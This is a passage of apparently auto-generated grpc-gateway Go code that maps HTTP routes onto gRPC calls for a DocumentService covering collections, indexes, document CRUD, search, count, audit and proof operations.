"missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } msg, err := client.CreateIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_CreateIndex_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CreateIndexRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } msg, err := server.CreateIndex(ctx, &protoReq) return msg, metadata, err } var ( filter_DocumentService_DeleteIndex_0 = &utilities.DoubleArray{Encoding: map[string]int{"collectionName": 0}, Base: []int{1, 1, 0}, Check: []int{0, 1, 2}} ) func request_DocumentService_DeleteIndex_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DeleteIndexRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_DeleteIndex_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.DeleteIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_DeleteIndex_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DeleteIndexRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_DeleteIndex_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.DeleteIndex(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_InsertDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq InsertDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } msg, err := client.InsertDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_InsertDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq InsertDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } msg, err := server.InsertDocuments(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_ReplaceDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ReplaceDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["query.collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") } err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) } msg, err := client.ReplaceDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_ReplaceDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ReplaceDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["query.collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") } err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) } msg, err := server.ReplaceDocuments(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_DeleteDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DeleteDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["query.collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") } err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) } msg, err := client.DeleteDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_DeleteDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DeleteDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["query.collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") } err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) } msg, err := server.DeleteDocuments(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_SearchDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SearchDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["query.collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") } err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) } msg, err := client.SearchDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_SearchDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SearchDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["query.collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") } err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) } msg, err := server.SearchDocuments(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_SearchDocuments_1(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SearchDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["searchId"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "searchId") } protoReq.SearchId, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "searchId", err) } msg, err := client.SearchDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_SearchDocuments_1(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq SearchDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["searchId"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "searchId") } protoReq.SearchId, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "searchId", err) } msg, err := server.SearchDocuments(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_CountDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CountDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["query.collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") } err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) } msg, err := client.CountDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_CountDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CountDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["query.collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") } err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) } msg, err := server.CountDocuments(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_AuditDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq AuditDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } val, ok = pathParams["documentId"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "documentId") } protoReq.DocumentId, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "documentId", err) } msg, err := client.AuditDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_AuditDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq AuditDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } val, ok = pathParams["documentId"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "documentId") } protoReq.DocumentId, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "documentId", err) } msg, err := server.AuditDocument(ctx, &protoReq) return msg, metadata, err } func request_DocumentService_ProofDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ProofDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } val, ok = pathParams["documentId"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "documentId") } protoReq.DocumentId, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "documentId", err) } msg, err := client.ProofDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_DocumentService_ProofDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ProofDocumentRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } var ( val string ok bool err error _ = err ) val, ok = pathParams["collectionName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") } protoReq.CollectionName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) } val, ok = pathParams["documentId"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "documentId") } protoReq.DocumentId, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "documentId", err) } msg, err := server.ProofDocument(ctx, &protoReq) return msg, metadata, err } // RegisterDocumentServiceHandlerServer registers the http handlers for service DocumentService to "mux". // UnaryRPC :call DocumentServiceServer directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. // Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterDocumentServiceHandlerFromEndpoint instead. func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server DocumentServiceServer) error { mux.Handle("POST", pattern_DocumentService_CreateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_CreateCollection_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_CreateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_DocumentService_GetCollections_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_GetCollections_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_GetCollections_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_DocumentService_GetCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_GetCollection_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_GetCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("PUT", pattern_DocumentService_UpdateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_UpdateCollection_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_UpdateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("DELETE", pattern_DocumentService_DeleteCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_DeleteCollection_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_DeleteCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_AddField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_AddField_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_AddField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("DELETE", pattern_DocumentService_RemoveField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_RemoveField_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_RemoveField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_CreateIndex_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_CreateIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("DELETE", pattern_DocumentService_DeleteIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_DeleteIndex_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_DocumentService_DeleteIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_DocumentService_InsertDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_DocumentService_InsertDocuments_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { 